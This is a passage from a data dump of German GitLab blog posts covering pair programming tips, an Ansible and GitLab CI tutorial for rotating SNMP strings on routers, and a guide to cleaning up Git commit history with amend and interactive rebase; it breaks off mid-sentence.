Pausen:__ Wie das Sprichwort sagt: *Rom wurde nicht an einem Tag erbaut*. Das gilt auch für das Programmieren. Achtet darauf, dass ihr Pausen macht, um ein Burn-out zu vermeiden.\n\n- __Nutzt gute technische Hilfsmittel und setzt auf Videokommunikation:__ Oftmals wird Pair Programming online durchgeführt. Um die Zusammenarbeit zu stärken, hilft es, die Kamera anzumachen und beim Programmieren im Austausch zu bleiben.\n\n- __Bittet um Hilfe:__ Wenn es einen Teil des Projekts gibt, den ihr beide nicht versteht, zögert nicht, um Hilfe zu bitten. Es ist besser, Fragen zu stellen, bevor das Projekt abgeschlossen ist, als danach.\n\n## See it in action\nObwohl Pair Programming meistens vor Ort angewendet wird, kann es trotzdem auch online angewendet werden. Als fully remote Firma haben wir die Erfahrung gemacht, dass Remote Pair Programming aufgrund der räumlichen Distanz und der damit verbundenen technischen Einschränkungen eine Herausforderung darstellen kann. Nicht immer sind die verfügbaren Tools ideal, aber es ist dennoch möglich, effektiv remote zu arbeiten. Im Folgenden geben wir dir ein paar Tipps dazu an die Hand:\n\n### Lösungsansätze und Werkzeuge\n\nUm diese Herausforderungen zu überwinden, haben wir spezielle Projekt- und Problemvorlagen für Pairing-Sessions entwickelt. Tools wie VSCode Live Share ermöglichen es, trotz Distanz gemeinsam an Code zu arbeiten. Der Austausch von Patches und die offene Diskussion werden ebenfalls gefördert.\n\n### Kollaborative Sitzungen\n\nIn unserem Support-Team führen wir regelmäßig Pairing-Sessions durch, die wir „Crush-Sessions“ nennen. Dabei stellen wir fest, dass die Zusammenarbeit oft zu einer höheren Ticketbearbeitungsrate führt. Diese Sitzungen haben sich als sehr effektiv erwiesen. Deshalb planen wir sie jedes Quartal als Meilensteine ein.\n\n### Community-Driven Pairing\n\nIm Frontend-Team haben wir getestet, wie Pair Programming am besten unterstützt werden kann. Eine erfolgreiche Methode ist das Posten von Pairing-Anfragen in einem separaten Slack-Kanal, in dem sich interessierte Kolleg(innen) melden können. Anschließend wird ein Termin festgelegt, in dem eine Art Mob-Programming-Session stattfindet, die es ermöglicht, gemeinsam an Lösungen zu arbeiten.\n\nWenn du also das nächste Mal vor einer komplexen Herausforderung stehst, erwäge die Möglichkeit, mit Teamkolleg(innen) zusammenzuarbeiten. Gemeinsames Programmieren kann nicht nur die Lösungsfindung beschleunigen, sondern auch die Angst vor schwierigen Aufgaben verringern.\n",[973,1875,2033,974],{"slug":3788,"featured":6,"template":682},"agile-pairing-sessions","content:de-de:blog:agile-pairing-sessions.yml","Agile Pairing Sessions","de-de/blog/agile-pairing-sessions.yml","de-de/blog/agile-pairing-sessions",{"_path":3794,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3795,"content":3801,"config":3811,"_id":3813,"_type":16,"title":3814,"_source":17,"_file":3815,"_stem":3816,"_extension":20},"/de-de/blog/using-ansible-and-gitlab-as-infrastructure-for-code",{"ogTitle":3796,"schema":3797,"ogImage":3798,"ogDescription":3799,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":3800,"title":3796,"canonicalUrls":3800,"description":3799},"Konfigurationsmanagement mit GitLab und Ansible | Ein Leitfaden","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Konfigurationsmanagement mit GitLab und Ansible\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brad Downey\"},{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-07-01\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665322/Blog/Hero%20Images/gitlab-ansible-cover.png","Wir zeigen dir, wie das Konfigurationsmanagement mit GitLab und Ansible funktioniert! ✓ Definition ✓ Einstellungen ✓ Anleitung ✓ Demo ➤Jetzt Tutorial lesen!","https://about.gitlab.com/blog/using-ansible-and-gitlab-as-infrastructure-for-code",{"title":3802,"description":3803,"authors":3804,"heroImage":3798,"date":3807,"body":3808,"category":847,"tags":3809},"Konfigurationsmanagement mit GitLab und Ansible","Entdecke die beeindruckende Leistungsfähigkeit von GitLab CI, wenn es darum geht, Ansible-Playbooks im Rahmen von Infrastructure as Code umzusetzen.",[3805,3806],"Brad Downey","Sara Kassabian","2019-07-01","[GitLab CI](https://about.gitlab.com/de-de/solutions/continuous-integration/\n\"GitLab CI\") ist ein vielseitiges Tool, das für eine Vielzahl von\nAufgabenbereichen wie [Infrastructure as\nCode](https://about.gitlab.com/topics/gitops/infrastructure-as-code/\n\"Infrastructure as Code\") und\n[GitOps](https://about.gitlab.com/de-de/topics/gitops/ \"GitOps\") eingesetzt\nwerden kann. Eine der Eigenschaften von GitLab ist seine Unabhängigkeit von\nspezifischen Tools. In dieser Demonstration liegt der Fokus auf Ansible, da\nviele Entwickler(innen) dieses Tool für Konfigurationsmanagement bevorzugen.\n\n\n## Was ist Ansible?\n\n\nAnsible ist ein Open-Source-Automatisierungstool, das für die Bereitstellung, Konfiguration und Verwaltung von Computersystemen genutzt wird. Es gehört zur Kategorie der Konfigurationsmanagement-Tools. Entwickler(innen) und Systemadministrator(inn)en können damit komplexe, wiederholbare Prozesse wie Serverkonfiguration, Anwendungsbereitstellung und Netzwerkgerätemanagement automatisieren. Ansible verwendet YAML, um deklarative Aufgabenbeschreibungen zu erstellen, bekannt als Playbooks. Diese beschreiben den gewünschten Systemzustand, den Ansible durch SSH-Verbindungen zu den Zielhosts erreicht, um Befehle auszuführen.\n\n\n## Demo: GitLab CI und Ansible\n\n\nEine Funktion von GitLab CI ist die Möglichkeit, den Code aus dem Ansible-Playbook zu bearbeiten und bereitzustellen, ohne lokale Abhängigkeiten zu installieren. So kann das Demo-Projekt, das eine monatliche Aktualisierung der SNMP-Strings auf allen Geräten gemäß unseren Sicherheitsrichtlinien erfordert, problemlos auf [GitLab.com](https://about.gitlab.com/de-de/pricing/ \"GitLab Pricing\") durchgeführt werden.\n\n\nBeginnen Sie, indem Sie das Ansible-Playbook öffnen, das vier Aufgaben beinhaltet:\n\n\n- Erfassen der Router-Fakten\n\n- Anzeigen der Version\n\n- Anzeigen der Seriennummer\n\n- Konfigurieren von SNMP\n\n\nDer Schwerpunkt dieser Demo liegt auf der Konfiguration der SNMP-Strings, die in einer einfachen Reihe von Schritten durchgeführt werden kann.\n\n\n## Zu Beginn: das Issue Board\n\n\nJeder Plan bei GitLab beginnt an derselben Stelle: mit einem Problem. Der erste Schritt im GitLab-Workflows besteht darin, das Issue Board des [„ansible-demo“-Projekts (auf Englisch)](https://gitlab.com/bdowney/ansible-demo/-/boards \"ansible-demo\") zu überprüfen. Dort sehen wir bereits ein Issue zur Änderung der SNMP-Strings auf allen Routern. Das Issue verweist auf das GitLab-Sicherheitsrichtlinien-Wiki, das besagt, dass SNMP-Strings monatlich geändert werden müssen und unterschiedliche Strings für „read-only“ und „read-write“ erforderlich sind.\n\n\n![Security policies](https://about.gitlab.com/images/blogimages/ansible_screenshots/security_policies_1A.png){: .shadow.medium.center}\n\n\nGemäß unserer GitLab-Sicherheitsrichtlinien müssen die SNMP-Strings monatlich aktualisiert werden. Als Nächstes prüfst du, ob die Befehle zur Konfiguration der SNMP-Strings in der [Zwei-Router-Demo (auf Englisch)](https://gitlab.com/bdowney/ansible-demo/blob/master/ci-cd-demo/ci.yml \"Zwei-Router-Demo\") den in diesem Issue beschriebenen GitLab-Sicherheitsrichtlinien entsprechen.\n\n\n![Ansible SNMP change](https://about.gitlab.com/images/blogimages/ansible_screenshots/ansible_snmp_change_2.png){: .shadow.medium.center}\n\n\nDie Befehle zur Konfiguration der SNMP-Strings findest du im Ansible-Playbook.\n\n\nGeh danach zurück zum Issue und weise es dir selbst zu. Ändere in der rechten Seitenleiste des Issues oder indem du es zwischen den Spalten des Issue Boards von „to-do“ auf „doing“ ziehst.\n\n\n## Merge Request erstellen\n\n\nAls Nächstes erstellst du einen Merge Request (MR) für das Issue. Stelle sicher, dass du das Kennzeichen „Draft“ deinem MR hinzufügst, damit er nicht vorzeitig mit dem Master zusammengeführt wird. Statt eine lokale Verbindung herzustellen, nutze die Web IDE von GitLab, da die Änderungen an den SNMP-Strings minimal sind. \n\n\n- Öffne den CI/CD-Demo-Bereich\n\n- Rufe das Ansible-Playbook auf\n\n- Bearbeite den SNMP-Abschnitt wie folgt:\n\n```\n\n-snmp-server community New-SNMP-DEMO1 RO\n\n\n-snmp-server community Fun-SNMP-RW-STR RW\n\n```\n\n- Achte darauf, dass read-only (RO) und read-write (RW) auf unterschiedliche Strings gemäß den GitLab-Sicherheitsrichtlinien gesetzt sind, wie sie im Issue beschrieben werden.\n\n\n## Änderungen übertragen\n\n\nNachdem du den SNMP-String gemäß den Richtlinien aktualisiert hast, committe die Änderungen. Öffne den Seite-an-Seite-Vergleich der Änderungen, um zu sehen, dass der MR mit deinem letzten Commit aktualisiert wurde.\n\n\n![Commit changes](https://about.gitlab.com/images/blogimages/ansible_screenshots/side-by-side_3.png){: .shadow.medium.center}\n\n\nDer Seite-an-Seite-Vergleich ist eine einfache Möglichkeit, deine Änderungen zu visualisieren.\n\n\n## Ausgabe des Merge-Request\n\n\nDurch den Commit der Änderungen wird automatisch eine GitLab CI-Pipeline gestartet. Diese führt beispielsweise folgende Aufgaben durch:\n\n\n- Syntaxprüfung\n\n- Dry Run\n\n- Testen der Änderungen in einer Labor-/Simulationsumgebung\n\n\nDu kannst den Fortschritt und die Ausgabe jedes Auftrags in der GitLab-CI-Pipeline anzeigen, um die SNMP-Aktualisierungen durchzuführen.\n\n\n![Job running](https://about.gitlab.com/images/blogimages/ansible_screenshots/job_running_4.png){: .shadow.medium.center}\n\n\nSchau dir die Ergebnisse deines Auftrags an, die zeigen, dass die SNMP-Aktualisierungen in der simulierten Umgebung erfolgreich waren. Alle diese Aufgaben werden im Merge Request durchgeführt und dokumentiert.\n\n\n![Pipeline](https://about.gitlab.com/images/blogimages/ansible_screenshots/pipeline_5A.png){: .shadow.medium.center}\n\n\nDie grünen Häkchen zeigen an, dass jeder Job in der GitLab CI-Pipeline erfolgreich abgeschlossen wurde. Anschließend kannst du dich auf den Lab-Routern einloggen und die durchgeführten Änderungen sehen.\n\n\n![routers snmp](https://about.gitlab.com/images/blogimages/ansible_screenshots/routersnmp_6.png){: .shadow.medium.center}\n\n\nDie Änderungen an den RO- und RW-SNMP-Strings werden in den Routern berücksichtigt.\n\n\n## MR-Review\n\n\nEine weitere Möglichkeit besteht darin, MR-Approvals zu aktivieren. Dadurch haben mehr Benutzer(innen) die Chance, Änderungen zu überprüfen, bevor sie in die Produktionsumgebung übernommen werden.\n\n\n![approvers](https://about.gitlab.com/images/blogimages/ansible_screenshots/approvers_7.png){: .shadow.medium.center}\n\n\nDu kannst den MR so einstellen, dass eine andere Person deine Arbeit überprüfen muss, bevor sie in den Master-Branch übernommen wird.\n\n\n## Merge in den Master-Branch\n\n\nSobald die Tests abgeschlossen sind, können die Änderungen in den Master-Branch übernommen werden, welcher den Code der Produktionsumgebung enthält.\n\nWenn du bereit bist, klickst du auf die Schaltfläche Mark as ready (Als bereit markieren). Anschließend klickst du auf `Merge`.\n\n\nDurch das Auflösen des WIP-Status kann der MR zusammengeführt und das Issue abgeschlossen werden.\n\n\nNun startet eine neue Pipeline, die alle durchgeführten Tests erneut ausführt, mit dem zusätzlichen Schritt, das Playbook in der Produktionsumgebung auszuführen.\n\n\nDu kannst den Fortschritt und die Protokolle auf dem „Pipelines“-Seite anzeigen. Sobald dieser Prozess abgeschlossen ist, kannst du dich bei deinen Produktionsroutern anmelden und sehen, dass die SNMP-Sicherheitsstrings aktualisiert wurden.\n\n\n## Die Magie von GitLab CI\n\n\nDie Magie, die all dies möglich gemacht hat, ist GitLab CI. GitLab CI-Pipelines sind eine Reihe von aufeinanderfolgenden Aufgaben, die alles ausführen, was du zum Testen und Implementieren deines Ansible-Codes benötigst.\n\n\nGitLab CI wird mit einer einzigen einfachen YAML-Datei konfiguriert, die im Repository unter dem Namen `.gitlab-ci.yml` zu finden ist.\n\nIn dieser Demo siehst du, dass die `.gitlab-ci.yml` Datei drei Schritte beinhaltet:\n\n\n1. Deploy: Damit wird das Zwei-Router-Simulationsnetzwerk in AWS mithilfe von Ansible erstellt.\n\n2. Demo: Damit wird das Playbook ausgeführt, das die SNMP-Strings ändert.\n\n3. Destroy: Hiermit wird das Zwei-Router-Simulationsnetzwerk zerstört.\n\n\nGitLab CI startet mit einem Basis-Image. In diesem Fall verwenden wir ein Docker-Image, das alle erforderlichen Ansible-Binärdateien und Abhängigkeiten enthält. Wir geben die Befehle an, die in jeder Phase ausgeführt werden sollen, und die Abhängigkeiten, soweit erforderlich.\n\n\n![More code](https://about.gitlab.com/images/blogimages/ansible_screenshots/more_code_9A.png){: .shadow.medium.center}\n\n\nEine einfache YAML-Datei enthält die drei Phasen des GitLab-CI.\n\n\n![More Code](https://about.gitlab.com/images/blogimages/ansible_screenshots/more_code_10A.png){: .shadow.medium.center}\n\n\nEin Blick in die Demostufe von GitLab CI, die das Ansible-Playbook ausführt.\n\n\nWenn du dir die Pipelines ansiehst, kannst du sehen, wie GitLab CI verwendet wird, um Konfigurationsmanagement umzusetzen, ohne Ansible auf deinem Computer installieren zu müssen. Dies ist nur ein Beispiel dafür, wie GitLab CI genutzt werden kann, um Infrastruktur als Code auszuführen. Schau dir das Video unten an, um das vollständige Tutorial zu sehen:\n\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/M-SgRTKSeOg\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\u003C!-- blank line -->\n\n\n## FAQ – Häufig gestellte Fragen\n\n\n### Wie nutze ich den Ansible Tower?\n\n\nAnsible Tower ist eine webbasierte Benutzeroberfläche und eine Enterprise-Ergänzung zu Ansible, die zusätzliche Funktionen zur Automatisierung, Verwaltung und Überwachung von Ansible-Umgebungen bietet. Teams können mit Ansible Tower ihre Automatisierungsprozesse zentralisieren, Zugriffskontrollen verwalten, Zeitpläne für Aufgaben erstellen, Berichte generieren und mehr. Es erleichtert die Skalierung und den Einsatz von Ansible in großen Umgebungen und bietet eine benutzerfreundliche Oberfläche für die Automatisierung von IT-Abläufen.\n\n\n### Was ist der Ansible GitLab Runner?\n\n\nEin Ansible GitLab Runner ist ein integraler Bestandteil des GitLab CI/CD-Ökosystems, der speziell für die Ausführung von Ansible-Playbooks entwickelt wurde. Er ist ein Prozess, der von GitLab genutzt wird, um Jobs in CI/CD-Pipelines auszuführen. Entwickler(innen) können einen GitLab Runner so konfigurieren, dass er Ansible-Playbooks auf den Zielhosts ausführt, was es ermöglicht, die Infrastruktur automatisiert und ohne zusätzliche Ressourcen zu verwalten.\n",[3810,110],"demo",{"slug":3812,"featured":6,"template":682},"using-ansible-and-gitlab-as-infrastructure-for-code","content:de-de:blog:using-ansible-and-gitlab-as-infrastructure-for-code.yml","Using Ansible And Gitlab As Infrastructure For Code","de-de/blog/using-ansible-and-gitlab-as-infrastructure-for-code.yml","de-de/blog/using-ansible-and-gitlab-as-infrastructure-for-code",{"_path":3818,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3819,"content":3825,"config":3831,"_id":3833,"_type":16,"title":3834,"_source":17,"_file":3835,"_stem":3836,"_extension":20},"/de-de/blog/keeping-git-commit-history-clean",{"title":3820,"description":3821,"ogTitle":3820,"ogDescription":3821,"noIndex":6,"ogImage":3822,"ogUrl":3823,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3823,"schema":3824},"4 Situationen, in denen sich eine aufgeräumte Git-Commit-Historie lohnt ","Erfahre, warum eine saubere Git-Commit-Historie die Nachvollziehbarkeit verbessert, Fehler behebt und die Codequalität steigert.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659457/Blog/Hero%20Images/keep-git-commit-history-clean.jpg","https://about.gitlab.com/blog/keeping-git-commit-history-clean","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"4 Situationen, in denen sich eine aufgeräumte Git-Commit-Historie lohnt \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kushal Pandya\"}],\n        \"datePublished\": \"2018-06-07\",\n      }",{"title":3820,"description":3821,"authors":3826,"heroImage":3822,"date":3828,"body":3829,"category":847,"tags":3830,"updatedDate":2635},[3827],"Kushal Pandya","2018-06-07","Git-Commits sind einer der Eckpfeiler eines Git-Repositorys. Die\nCommit-Nachrichten sind wie ein Lebensprotokoll für das Repository. Während\nsich das Projekt/Repository im Laufe der Zeit entwickelt – sei es durch das\nHinzufügen neuer Funktionen, das Beheben von Fehlern oder die Überarbeitung\nder Architektur – geben die Commit-Nachrichten Aufschluss darüber, was genau\ngeändert wurde. Daher ist es entscheidend, dass diese Nachrichten die\nzugrunde liegende Änderung präzise und kurz wiedergeben. Die Commit-Historie\nkann leicht verfälscht werden. In diesem Artikel erfährst du, wie du sie\nkorrigieren kannst!\n\n\n## Warum eine aussagekräftige Git-Commit-Historie wichtig ist\n\n\nWas bewirkt ein Git-Commit? Git-Commit-Nachrichten sind die Fingerabdrücke,\ndie du auf dem Code hinterlässt, den du bearbeitest. Wenn du heute einen\nCode festlegst, ist es wichtig, eine klare und aussagekräftige\nCommit-Nachricht zu schreiben, damit du diese auch später noch\nnachvollziehen kannst. Indem Git-Commits kontextabhängig isoliert werden,\nist ein Fehler, der durch einen einzelnen Commit verursacht wurde, schneller\nzu finden. Zudem ist es einfacher, den Commit rückgängig zu machen, der den\nFehler verursacht hat.\n\n\nBei der Arbeit an großen Projekten haben wir oft mit vielen verschiedenen\nKomponenten, die aktualisiert, hinzugefügt oder entfernt werden, zu tun. In\nsolchen Fällen kann es schwierig sein, die Commit-Nachrichten zu pflegen,\ninsbesondere wenn sich die Entwicklung über Tage, Wochen oder sogar Monate\nerstreckt. Um die Wartung eines übersichtlichen Commit-Verlaufs zu\nerleichtern, findest du nachfolgend die vier häufigsten Situationen, mit\ndenen ein Entwickler(innen) bei der Arbeit an einem Git-Repository\nkonfrontiert werden kann.\n\n\n1. Situation 1: Ich muss den letzten Commit ändern\n\n2. Situation 2: Ich muss einen bestimmten Commit ändern\n\n3. Situation 3: Ich muss Commits hinzufügen, entfernen oder kombinieren\n\n4. Situation 4: Mein Commit-Verlauf macht keinen Sinn, ich muss nochmal von\nvorne anfangen\n\n\nBevor wir jedoch tiefer eintauchen, werfen wir einen kurzen Blick auf einen\ntypischen Entwicklungsablauf in unserer hypothetischen Ruby-Anwendung.\n\n\n__Hinweis:__ In diesem Artikel wird vorausgesetzt, dass du mit den\nGrundlagen von Git vertraut bist und weißt, wie Branches funktionieren, wie\nnicht übertragene Änderungen eines Branches zum Staging-Bereich hinzugefügt\nund wie Änderungen übertragen werden. Wenn du unsicher bist, bietet unsere\nDokumentation einen guten Ausgangspunkt.\n\n\n## Beispielprojekt: Neue Navigationsansicht\n\n\nNachfolgend siehst du ein Ruby-on-Rails-Projekt, in dem eine\nNavigationsansicht auf der Homepage hinzugefügt werden muss. Dazu müssen\nmehrere Dateien aktualisiert und hinzugefügt werden. Im Folgenden findest du\neine schrittweise Aufschlüsselung des gesamten Ablaufs:\n\n\n- Du startest die Arbeit an einem Feature, indem du eine einzelne Datei\naktualisierst. Zum Beispiel: `application_controller.rb`\n\n- Für dieses Feature musst du auch eine Ansicht aktualisieren:\n`index.html.haml`\n\n- Du hast einen Teilbereich hinzugefügt, der auf der Indexseite verwendet\nwird: `_navigation.html.haml`\n\n- Die Formatvorlagen für die Seite müssen ebenfalls aktualisiert werden, um\nden hinzugefügten Teil widerzuspiegeln: `styles.css.scss`\n\n- Das Feature ist nun mit den gewünschten Änderungen fertiggestellt. Jetzt\nmusst du die Tests aktualisieren. Dazu gehören die folgenden Dateien:\n  - `application_controller_spec.rb`\n  - `navigation_spec.rb`\n- Die Tests wurden aktualisiert und laufen wie erwartet. Jetzt werden die\nÄnderungen übertragen.\n\n\nDa alle Dateien zu verschiedenen Bereichen der Architektur gehören, werden\ndie Änderungen isoliert voneinander übertragen. Dies gewährleistet, dass\njede Übertragung einen spezifischen Kontext repräsentiert und in einer\nbestimmten Reihenfolge durchgeführt wird. Im Allgemeinen wird die\nReihenfolge von Backend -> Frontend bevorzugt. Dies bedeutet, dass die\nmeisten Backend-bezogenen Änderungen zuerst übertragen werden, gefolgt von\nder mittleren Schicht und dann von den Frontend-bezogenen Änderungen in den\nGit-Commits.\n\n\n1. `application_controller.rb` & `application_controller_spec.rb`:\n__Hinzufügen von Routen für die Navigation.__\n\n2. `_navigation.html.haml` & `navigation_spec.rb`: __Ansicht der\nSeitennavigation.__\n\n3. `index.html.haml`: __Navigation teilweise rendern.__\n\n4. `styles.css.scss`: __Stile für die Navigation hinzufügen.__\n\n\nNachdem die Änderungen übertragen wurden, wird eine Anfrage zur\nZusammenführung mit dem Branch erstellt. Sobald du eine Merge-Anfrage\ngeöffnet hast, wird sie in der Regel von deinem Peer überprüft, bevor die\nÄnderungen im Master-Branch des Repositories zusammengeführt werden. Im\nFolgenden werden die verschiedenen Situationen beschrieben, die bei der\nCodeüberprüfung auftreten können.\n\n\n## Situation 1: Ändern des letzten Git-Commits\n\n\nIm Fall, dass der Prüfer die Datei `styles.css.scss` überprüft und eine\nÄnderung vorgeschlagen hat, ist es recht einfach, die Änderung vorzunehmen,\nda die Stylesheet-Änderungen Teil des __letzten__ Commits in deinem Branch\nsind. So kannst du damit umgehen:\n\n\n- Führe die erforderlichen Änderungen an `styles.css.scss` direkt in deinem\naktuellen Branch durch.\n\n- Sobald du mit den Änderungen fertig bist, füge sie zum Staging-Bereich\nhinzu, indem du `git add styles.css.scss` ausführst.\n\n- Nachdem die Änderungen bereitgestellt wurden, füge sie zu deinem letzten\nCommit hinzu, indem du `git commit --amend` ausführst.\n    - __Aufschlüsselung des Befehls__: Mit dem `git commit`-Befehl werden alle Änderungen, die sich im Staging-Bereich befinden, dem letzten Commit hinzugefügt.\n- Dadurch wird der von Git definierte Texteditor geöffnet, der die\nCommit-Nachricht __„Stile für die Navigation hinzufügen”__ enthält, die\nbereits beim vorherigen Commit festgelegt wurde.\n\n- Da nur die CSS-Deklaration aktualisiert wurde, muss die Commit-Nachricht\nnicht geändert werden. An dieser Stelle kannst du einfach speichern und den\nTexteditor, den Git für dich geöffnet hat, beenden. Deine Änderungen werden\ndann in den Commit übernommen.\n\n\nDa du ein bestehendes Git-Commit geändert hast, müssen diese Änderungen\nzwangsweise in dein Repository übertragen werden. Dazu nutzt du  `git push\n--force-with-lease \u003Cremote_name> \u003Cbranch_name>`. Dieser Befehl überschreibt\ndas Commit `Add styles for navigation` im entfernten Repository mit dem\naktualisierten Commit, das gerade im lokalen Repository vorgenommen wurde.\n\n\nWenn mehrere Personen an einem Branch arbeiten, kann ein erzwungener Push\nvon Branches dazu führen, dass andere Benutzer Probleme bekommen, wenn sie\nversuchen, ihre Änderungen auf einen entfernten Branch zu pushen, in dem\nbereits neue Commits gepusht wurden. Daher sollte diese Funktion mit Bedacht\neingesetzt werden. Weitere Informationen zu den Force-Push-Optionen von Git\nfindest du\n[hier](https://git-scm.com/docs/git-push#git-push---no-force-with-lease\n\"hier\").\n\n\n## Situation 2: Ändern einer bestimmten Git-Commit-Änderung\n\n\nIn der vorherigen Situation war die Änderung des Git-Commits recht einfach,\nda nur der letzte Git-Commit geändert werden musste. Stell dir jedoch vor,\nein Prüfer würde vorschlagen, etwas in `_navigation.html.haml` zu ändern. In\ndiesem Fall handelt es sich um den zweiten Commit von oben, sodass die\nÄnderung nicht so direkt ist wie in der ersten Situation. \n\n\nJeder Commit in einem Branch wird durch eine eindeutige\nSHA-1-Hash-Zeichenkette identifiziert. Diese dient als eine Art eindeutige\nID, die einen Commit von einem anderen unterscheidet. Du kannst alle\nvorherigen Commits zusammen mit ihren SHA-1-Hashes in einem Branch anzeigen,\nindem du den Befehl `git log` ausführst. Das Ergebnis ist eine Liste von\nCommits, wobei die neuesten Commits ganz oben stehen.\n\n\n```\n\ncommit aa0a35a867ed2094da60042062e8f3d6000e3952 (HEAD ->\nadd-page-navigation)\n\nAuthor: Kushal Pandya \u003Ckushal@gitlab.com>\n\nDate: Wed May 2 15:24:02 2018 +0530\n\n    Add styles for navigation\n\ncommit c22a3fa0c5cdc175f2b8232b9704079d27c619d0\n\nAuthor: Kushal Pandya \u003Ckushal@gitlab.com>\n\nDate: Wed May 2 08:42:52 2018 +0000\n\n    Render navigation partial\n\ncommit 4155df1cdc7be01c98b0773497ff65c22ba1549f\n\nAuthor: Kushal Pandya \u003Ckushal@gitlab.com>\n\nDate: Wed May 2 08:42:51 2018 +0000\n\n    Page Navigation View\n\ncommit 8d74af102941aa0b51e1a35b8ad731284e4b5a20\n\nAuthor: Kushal Pandya \u003Ckushal@gitlab.com>\n\nDate: Wed May 2 08:12:20 2018 +0000\n\n    Add routes for navigation\n```\n\n\nAn dieser Stelle kommt der Befehl `git rebase` ins Spiel. Wenn wir einen\nbestimmten Commit mit `git rebase` bearbeiten wollen, müssen wir zunächst\nunseren Branch neu erstellen, indem wir HEAD bis zu dem Punkt vor dem Commit\nzurücksetzen, den wir bearbeiten wollen. In unserem Fall müssen wir den\nCommit ändern, der `Page Navigation View` lautet.\n\n\n![Ansicht Page Navigation\nView](https://about.gitlab.com/images/blogimages/keeping-git-commit-history-clean/GitRebase.png){:\n.shadow.center.medium}\n\n\n- Achte auf den Hash des Commits, der direkt vor dem Commit liegt, den wir\nändern möchten. Kopiere den Hash und führe die folgenden Schritte aus:\n\n- Verschiebe den Branch auf einen Commit vor unserem Ziel-Commit; führe `git\nrebase -i8d74af102941aa0b51e1a35b8ad731284e4b5a20` aus.\n    - __Aufschlüsselung der Git-Befehle:__ Hier führen wir den Git-Befehl `rebase` im interaktiven Modus aus und geben einen SHA-1-Hash als Commit an, auf den `rebase` erfolgen soll.\n- Dieser Befehl führt den rebase-Befehl für Git im interaktiven Modus aus\nund öffnet den Texteditor, der alle Commits anzeigt, die auf den Commit\nfolgen, auf den du den `rebase` durchführen möchtest. Der Texteditor sollte\nin etwa so aussehen:\n\n\n```\n\npick 4155df1cdc7 Page Navigation View\n\npick c22a3fa0c5c Render navigation partial\n\npick aa0a35a867e Add styles for navigation\n\n\n# Rebase 8d74af10294..aa0a35a867e onto 8d74af10294 (3 commands)\n\n#\n\n# Commands:\n\n# p, pick = use commit\n\n# r, reword = use commit, but edit the commit message\n\n# e, edit = use commit, but stop for amending\n\n# s, squash = use commit, but meld into previous commit\n\n# f, fixup = like \"squash\", but discard this commit's log message\n\n# x, exec = run command (the rest of the line) using shell\n\n# d, drop = remove Git commit\n\n#\n\n# These lines can be re-ordered; they are executed from top to bottom.\n\n#\n\n# If you remove a line here THAT COMMIT WILL BE LOST.\n\n#\n\n# However, if you remove everything, the rebase will be aborted.\n\n#\n\n# Note that empty commits are commented out\n\n```\n\n\nBeachte, dass jedem Commit das Wort `pick` vorangestellt ist. Im Inhalt\nunten sind alle möglichen Schlüsselwörter aufgeführt, die du verwenden\nkannst. Da du eine Übertragung bearbeiten möchtest, musst du `pick\n4155df1cdc7 Page Navigation View in edit 4155df1cdc7 Page Navigation View`\nändern. Speichere die Änderungen und verlasse den Editor.\n\n\nDer Branch wird nun auf den Zeitpunkt vor der Commit-Übergabe zurückgesetzt,\ndie die Datei `_navigation.html.haml` enthielt. Öffne die Datei und führe\ndie gewünschten Änderungen gemäß dem Feedback der Überprüfung durch. Sobald\ndu mit den Änderungen fertig bist, füge sie zum Staging-Bereich hinzu, indem\ndu `git add _navigation.html.haml` ausführst.\n\n\nNachdem die Änderungen bereitgestellt wurden, ist es an der Zeit, den Branch\nHEAD wieder auf den ursprünglichen Commit zurückzusetzen, wobei auch die neu\nhinzugefügten Änderungen berücksichtigt werden. Führe `git rebase\n--continue` aus. Dadurch wird dein Standardeditor im Terminal geöffnet und\nzeigt die Commit-Nachricht an, die während des Rebase bearbeitet wurde; in\ndiesem Fall Page `Navigation View`. Du kannst diese Nachricht ändern, wenn\ndu möchtest – zunächst bleibt sie jedoch unverändert. Speichere und beende\nden Editor.\n\n\nJetzt zeigt Git alle Commits an, die auf den Commit folgten, den du gerade\nbearbeitet hast. Der Branch `HEAD` ist jetzt wieder auf dem ursprünglichen\nobersten Commit. Er enthält auch die neuen Änderungen, die du an einem der\nCommits vorgenommen hast.\n\n\nDa du erneut einen Commit geändert hast, der bereits im entfernten\nRepository vorhanden ist, musst du diesen Branch noch einmal mit `git push\n--force-with-lease \u003Cremote_name> \u003Cbranch_name>` pushen.\n\n\n## Situation 3: Hinzufügen, Entfernen oder Kombinieren von Git-Commits\n\n\nEs kommt häufig vor, dass mehrere Commits gemacht wurden, nur um etwas zu\nkorrigieren, das bereits zuvor committed wurde. Jetzt möchtest du diese\nCommits so weit wie möglich reduzieren und mit den ursprünglichen Commits\nkombinieren.\n\n\nDazu musst du einfach den interaktiven Rebase wie in den anderen Szenarien\nstarten.\n\n\n```\n\npick 4155df1cdc7 Page Navigation View\n\npick c22a3fa0c5c Render navigation partial\n\npick aa0a35a867e Add styles for navigation\n\npick 62e858a322 Fix a typo\n\npick 5c25eb48c8 Ops another fix\n\npick 7f0718efe9 Fix 2\n\npick f0ffc19ef7 Argh Another fix!\n\n```\n\n\nNun stell dir vor, du möchtest all diese Korrekturen in `c22a3fa0c5c Render\nnavigation partial` kombinieren. Dazu musst du nur Folgendes tun:\n\n\n1. Verschiebe die Korrekturen nach oben, sodass sie sich direkt unter der\nCommit-Übergabe befinden, die du am Ende behalten möchtest.\n\n2. Ändere `pick` auf `squash` oder `fixup` für jede der Korrekturen.\n\n\n*Hinweis:* `squash` behält die Commit-Nachrichten der Git-Fixes in der\nBeschreibung bei. `fixup` vergisst die Commit-Nachrichten der 